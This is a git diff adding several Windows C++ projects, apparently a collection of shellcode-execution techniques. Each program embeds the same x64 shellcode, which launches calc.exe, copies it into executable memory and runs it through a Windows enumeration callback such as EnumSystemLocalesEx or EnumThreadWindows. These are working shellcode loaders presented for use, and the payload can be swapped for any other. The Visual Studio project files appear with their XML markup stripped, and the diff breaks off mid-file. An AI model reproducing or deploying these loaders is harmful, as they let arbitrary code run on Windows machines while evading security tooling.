a/EnumSystemLocales/EnumSystemLocales.cpp b/EnumSystemLocales/EnumSystemLocales.cpp new file mode 100644 index 0000000..d3dff09 --- /dev/null +++ b/EnumSystemLocales/EnumSystemLocales.cpp @@ -0,0 +1,38 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + ::EnumSystemLocalesEx((LOCALE_ENUMPROCEX)address, LOCALE_ALL, NULL, NULL); + return 0; + +} \ No newline at end of file diff --git a/EnumSystemLocales/EnumSystemLocales.vcxproj b/EnumSystemLocales/EnumSystemLocales.vcxproj new file mode 100644 index 0000000..e363f82 --- /dev/null +++ b/EnumSystemLocales/EnumSystemLocales.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {c9cda752-24af-48cc-9f54-a695a453a929} + EnumSystemLocales + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumSystemLocales/EnumSystemLocales.vcxproj.filters b/EnumSystemLocales/EnumSystemLocales.vcxproj.filters new file mode 100644 index 0000000..691e773 --- /dev/null +++ b/EnumSystemLocales/EnumSystemLocales.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumThreadWindows/EnumThreadWindows.cpp b/EnumThreadWindows/EnumThreadWindows.cpp new file mode 100644 index 0000000..7fa46ad --- /dev/null +++ b/EnumThreadWindows/EnumThreadWindows.cpp @@ -0,0 +1,37 @@ +#include + + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + EnumThreadWindows(0, (WNDENUMPROC)addr, NULL); + + return 0; + +} \ No newline at end of file diff --git a/EnumThreadWindows/EnumThreadWindows.vcxproj b/EnumThreadWindows/EnumThreadWindows.vcxproj new file mode 100644 index 0000000..bc340f5 --- /dev/null +++ b/EnumThreadWindows/EnumThreadWindows.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {4dc52185-7351-4efa-a364-65945302f470} + EnumThreadWindows + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumThreadWindows/EnumThreadWindows.vcxproj.filters b/EnumThreadWindows/EnumThreadWindows.vcxproj.filters new file mode 100644 index 0000000..69e14d2 --- /dev/null +++ b/EnumThreadWindows/EnumThreadWindows.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumTimeFormatsEx/EnumTimeFormatsEx.cpp b/EnumTimeFormatsEx/EnumTimeFormatsEx.cpp new file mode 100644 index 0000000..86f70c6 --- /dev/null +++ b/EnumTimeFormatsEx/EnumTimeFormatsEx.cpp @@ -0,0 +1,42 @@ +#include +#include +#include + +#pragma comment(lib, "Crypt32.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)address, LOCALE_NAME_SYSTEM_DEFAULT, TIME_NOSECONDS, NULL); + + return 0; + +} \ No newline at end of file diff --git a/EnumTimeFormatsEx/EnumTimeFormatsEx.vcxproj b/EnumTimeFormatsEx/EnumTimeFormatsEx.vcxproj new file mode 100644 index 0000000..bd75cd0 --- /dev/null +++ b/EnumTimeFormatsEx/EnumTimeFormatsEx.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {5007cfb3-4072-4b23-9ff9-bde0b75286f1} + EnumTimeFormatsEx + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumTimeFormatsEx/EnumTimeFormatsEx.vcxproj.filters b/EnumTimeFormatsEx/EnumTimeFormatsEx.vcxproj.filters new file mode 100644 index 0000000..10beb25 --- /dev/null +++ b/EnumTimeFormatsEx/EnumTimeFormatsEx.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumUILanguagesW/EnumUILanguagesW.cpp b/EnumUILanguagesW/EnumUILanguagesW.cpp new file mode 100644 index 0000000..7b1b6b2 --- /dev/null +++ b/EnumUILanguagesW/EnumUILanguagesW.cpp @@ -0,0 +1,38 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + ::EnumUILanguagesW((UILANGUAGE_ENUMPROCW)address, MUI_LANGUAGE_ID, NULL); + return 0; + +} \ No newline at end of file diff --git a/EnumUILanguagesW/EnumUILanguagesW.vcxproj b/EnumUILanguagesW/EnumUILanguagesW.vcxproj new file mode 100644 index 0000000..69ca974 --- /dev/null +++ b/EnumUILanguagesW/EnumUILanguagesW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {f9ebc138-ceba-4927-b9c2-ab6b751ab89e} + EnumUILanguagesW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumUILanguagesW/EnumUILanguagesW.vcxproj.filters b/EnumUILanguagesW/EnumUILanguagesW.vcxproj.filters new file mode 100644 index 0000000..b9cc20a --- /dev/null +++ b/EnumUILanguagesW/EnumUILanguagesW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumWindowStationsW/EnumWindowStationsW.cpp b/EnumWindowStationsW/EnumWindowStationsW.cpp new file mode 100644 index 0000000..9cbf7c0 --- /dev/null +++ b/EnumWindowStationsW/EnumWindowStationsW.cpp @@ -0,0 +1,42 @@ +#include +#include + + + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + if (addr) { + + ::EnumWindowStationsW((WINSTAENUMPROCW)addr, NULL); + + } + +} \ No newline at end of file diff --git a/EnumWindowStationsW/EnumWindowStationsW.vcxproj b/EnumWindowStationsW/EnumWindowStationsW.vcxproj new file mode 100644 index 0000000..3eaced4 --- /dev/null +++ b/EnumWindowStationsW/EnumWindowStationsW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {aa0f0505-21d0-42f0-add5-1d928d36d477} + EnumWindowStationsW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumWindowStationsW/EnumWindowStationsW.vcxproj.filters b/EnumWindowStationsW/EnumWindowStationsW.vcxproj.filters new file mode 100644 index 0000000..b5adbd8 --- /dev/null +++ b/EnumWindowStationsW/EnumWindowStationsW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumerateLoadedModules/EnumerateLoadedModules.cpp b/EnumerateLoadedModules/EnumerateLoadedModules.cpp new file mode 100644 index 0000000..d998b2d --- /dev/null +++ b/EnumerateLoadedModules/EnumerateLoadedModules.cpp @@ -0,0 +1,38 @@ +#include +#include +#include + +// Requires dbghelp.lib + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + ::EnumerateLoadedModules(::GetCurrentProcess(), (PENUMLOADED_MODULES_CALLBACK)addr, NULL); + +} \ No newline at end of file diff --git a/EnumerateLoadedModules/EnumerateLoadedModules.vcxproj b/EnumerateLoadedModules/EnumerateLoadedModules.vcxproj new file mode 100644 index 0000000..5afd5ea --- /dev/null +++ b/EnumerateLoadedModules/EnumerateLoadedModules.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {f6919df1-e593-4998-89e8-14e7ed01ecae} + EnumerateLoadedModules + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;dbghelp.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;dbghelp.lib;%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;dbghelp.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;dbghelp.lib;%(AdditionalDependencies) + + + + + + + + + \ No newline at end of file diff --git a/EnumerateLoadedModules/EnumerateLoadedModules.vcxproj.filters b/EnumerateLoadedModules/EnumerateLoadedModules.vcxproj.filters new file mode 100644 index 0000000..34e8036 --- /dev/null +++ b/EnumerateLoadedModules/EnumerateLoadedModules.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/FiberContextEdit/FiberContextEdit.vcxproj b/FiberContextEdit/FiberContextEdit.vcxproj new file mode 100644 index 0000000..f670826 --- /dev/null +++ b/FiberContextEdit/FiberContextEdit.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {1e97f40f-e056-4468-94ea-15636b98b5d0} + FiberContextEdit + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/FiberContextEdit/FiberContextEdit.vcxproj.filters b/FiberContextEdit/FiberContextEdit.vcxproj.filters new file mode 